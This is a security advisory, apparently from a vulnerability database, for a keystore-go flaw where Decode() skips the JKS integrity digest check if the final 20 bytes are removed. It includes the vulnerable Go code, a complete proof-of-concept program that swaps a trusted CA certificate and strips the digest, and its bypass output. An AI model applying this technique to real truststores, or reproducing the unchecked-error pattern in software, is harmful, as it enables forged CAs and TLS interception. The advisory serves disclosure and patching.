GHSA-J282-PJG5-J643

Vulnerability from github – Published: 2026-11-19 20:35 – Updated: 2026-11-19 20:35
VLAI
Summary
keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()
Details

Summary

keystore.Decode() fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a .jks file, the digest read returns an empty slice and the byte-comparison loop never executes, so Decode() returns the parsed keystore with err == nil. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.

Details

Affected versions: github.com/pavel-v-chernykh/keystore-go ≤ v2.1.0+incompatible (the final release on this module path). v3 and v4 releases are not impacted.

In decoder.go, function Decode, lines 264-272:

computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
    if actualDigest[i] != computedDigest[i] {
        return nil, ErrInvalidDigest
    }
}

return keyStore, nil

Two defects combine here:

  1. The err returned by ksd.readBytes(20) on line 265 is assigned but never inspected.
  2. The comparison loop on line 266 is bounded by len(actualDigest) rather than len(computedDigest).

readBytes (decoder.go lines 75-94) reads the requested bytes via io.ReadFull; on EOF/short read it returns (nil, ErrIo):

_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
    return result, ErrIo
}

When the trailing 20-byte digest is absent from the input stream, actualDigest is therefore nil, len(actualDigest) == 0, the for loop body never executes, and Decode() falls through to return keyStore, nil.

The JKS format's only integrity guarantee is this trailing SHA1(passwordBytes || "Mighty Aphrodite" || body) digest. For truststores containing only TrustedCertificateEntry values it is also the only place the password is verified. Consequently:

  • An attacker who can modify a .jks truststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.
  • After the digest is stripped, Decode() accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.

The reference Java JavaKeyStore implementation reads the digest with DataInputStream.readFully and throws on short read; this Go port diverges from that behaviour.

PoC

go mod init poc
go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible
go run .
package main

import (
        "bytes"
        "fmt"
        "os"

        keystore "github.com/pavel-v-chernykh/keystore-go"
)

func main() {
        originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE")
        evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length

        ks := keystore.KeyStore{
                "trusted-ca": &keystore.TrustedCertificateEntry{
                        Certificate: keystore.Certificate{
                                Type:    "X509",
                                Content: originalCert,
                        },
                },
        }

        var buf bytes.Buffer
        if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
                panic(err)
        }
        legit := buf.Bytes()
        fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))

        // Sanity: untampered keystore with WRONG password is rejected.
        _, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
        fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\n", err)

        // Attacker: tamper with the certificate, then strip the 20-byte digest.
        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely

        // 1) Tampered keystore + CORRECT password: integrity check should fail.
        out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
        if err == nil {
                entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
                os.Exit(1)
        }

        // 2) Tampered keystore + WRONG password: should also fail.
        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
        if err2 == nil {
                entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] wrong password rejected: %v\n", err2)
                os.Exit(1)
        }
}

Expected output:

[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)
[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)

[BYPASS] Tampered keystore accepted with correct password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
[BYPASS] Tampered keystore accepted with WRONG password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"

Impact

Any application that uses keystore.Decode() to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the .jks file (local user, compromised deployment artefact, writable config volume, etc.) but does not know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.

This defect was fixed in commit af93effd832cf1aef7794e69c31e1b668e17b851 (2019-09-16, "Update to go1.13"), which added an if err != nil { return … } guard after reading the trailing digest and replaced the length-of-actual loop with a full-length bytes.Compare(actualDigest, computedDigest). That commit first shipped in tag v3.0.0. There is no fixed release on the bare github.com/pavel-v-chernykh/keystore-go module path — every release there (v1.0.0 through v2.1.0+incompatible) predates the fix. The fixed code is available under the successor module paths:

  • github.com/pavel-v-chernykh/keystore-go/v3 ≥ v3.0.0
  • github.com/pavel-v-chernykh/keystore-go/v4 ≥ v4.0.0
  • github.com/pavlo-v-chernykh/keystore-go/v4 ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)

Users of the legacy v2 module path remain exposed and should migrate to github.com/pavlo-v-chernykh/keystore-go/v4.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pavel-v-chernykh/keystore-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pavel-v-chernykh/keystore-go/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-252",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T20:35:35Z",
    "nvd_published_at": "2026-11-18T22:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and \u2014 for certificate-only truststores \u2014 the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.\n\n### Details\n**Affected versions:** `github.com/pavel-v-chernykh/keystore-go` \u2264 `v2.1.0+incompatible` (the final release on this module path).  v3 and v4 releases are not impacted.\n\nIn `decoder.go`, function `Decode`, lines 264-272:\n\n```go\ncomputedDigest := ksd.md.Sum(nil)\nactualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))\nfor i := 0; i \u003c len(actualDigest); i++ {\n    if actualDigest[i] != computedDigest[i] {\n        return nil, ErrInvalidDigest\n    }\n}\n\nreturn keyStore, nil\n```\n\nTwo defects combine here:\n\n1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.\n2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.\n\n`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:\n\n```go\n_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])\nif err != nil {\n    return result, ErrIo\n}\n```\n\nWhen the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.\n\nThe JKS format\u0027s only integrity guarantee is this trailing `SHA1(passwordBytes || \"Mighty Aphrodite\" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:\n\n- An attacker who can modify a `.jks` truststore on disk \u2014 but does **not** know the keystore password \u2014 can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.\n- After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.\n\nThe reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.\n\n### PoC\n```\ngo mod init poc\ngo get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible\ngo run .\n```\n\n```go\npackage main\n\nimport (\n        \"bytes\"\n        \"fmt\"\n        \"os\"\n\n        keystore \"github.com/pavel-v-chernykh/keystore-go\"\n)\n\nfunc main() {\n        originalCert := []byte(\"ORIGINAL-TRUSTED-CA-CERTIFICATE\")\n        evilCert := []byte(\"EVIL-ATTACKER-CA-CERTIFICATE!!!\") // same length\n\n        ks := keystore.KeyStore{\n                \"trusted-ca\": \u0026keystore.TrustedCertificateEntry{\n                        Certificate: keystore.Certificate{\n                                Type:    \"X509\",\n                                Content: originalCert,\n                        },\n                },\n        }\n\n        var buf bytes.Buffer\n        if err := keystore.Encode(\u0026buf, ks, []byte(\"correct-password\")); err != nil {\n                panic(err)\n        }\n        legit := buf.Bytes()\n        fmt.Printf(\"[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\\n\", len(legit))\n\n        // Sanity: untampered keystore with WRONG password is rejected.\n        _, err := keystore.Decode(bytes.NewReader(legit), []byte(\"wrong-password\"))\n        fmt.Printf(\"[*] Decode(legit, wrong-password) -\u003e err=%v  (expected ErrInvalidDigest)\\n\", err)\n\n        // Attacker: tamper with the certificate, then strip the 20-byte digest.\n        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)\n        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely\n\n        // 1) Tampered keystore + CORRECT password: integrity check should fail.\n        out, err := keystore.Decode(bytes.NewReader(tampered), []byte(\"correct-password\"))\n        if err == nil {\n                entry := out[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"\\n[BYPASS] Tampered keystore accepted with correct password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] tampered keystore rejected: %v\\n\", err)\n                os.Exit(1)\n        }\n\n        // 2) Tampered keystore + WRONG password: should also fail.\n        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte(\"attacker-does-not-know\"))\n        if err2 == nil {\n                entry := out2[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"[BYPASS] Tampered keystore accepted with WRONG password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] wrong password rejected: %v\\n\", err2)\n                os.Exit(1)\n        }\n}\n```\n\nExpected output:\n\n```\n[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)\n[*] Decode(legit, wrong-password) -\u003e err=keystore: invalid digest  (expected ErrInvalidDigest)\n\n[BYPASS] Tampered keystore accepted with correct password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n[BYPASS] Tampered keystore accepted with WRONG password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n```\n\n### Impact\nAny application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.\n\nThis defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, \"Update to go1.13\"), which added an `if err != nil { return \u2026 }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path \u2014 every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:\n\n- `github.com/pavel-v-chernykh/keystore-go/v3` \u2265 v3.0.0\n- `github.com/pavel-v-chernykh/keystore-go/v4` \u2265 v4.0.0\n- `github.com/pavlo-v-chernykh/keystore-go/v4` \u2265 v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)\n\nUsers of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.",
  "id": "GHSA-j282-pjg5-j643",
  "modified": "2026-11-19T20:35:35Z",
  "published": "2026-11-19T20:35:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pavlo-v-chernykh/keystore-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…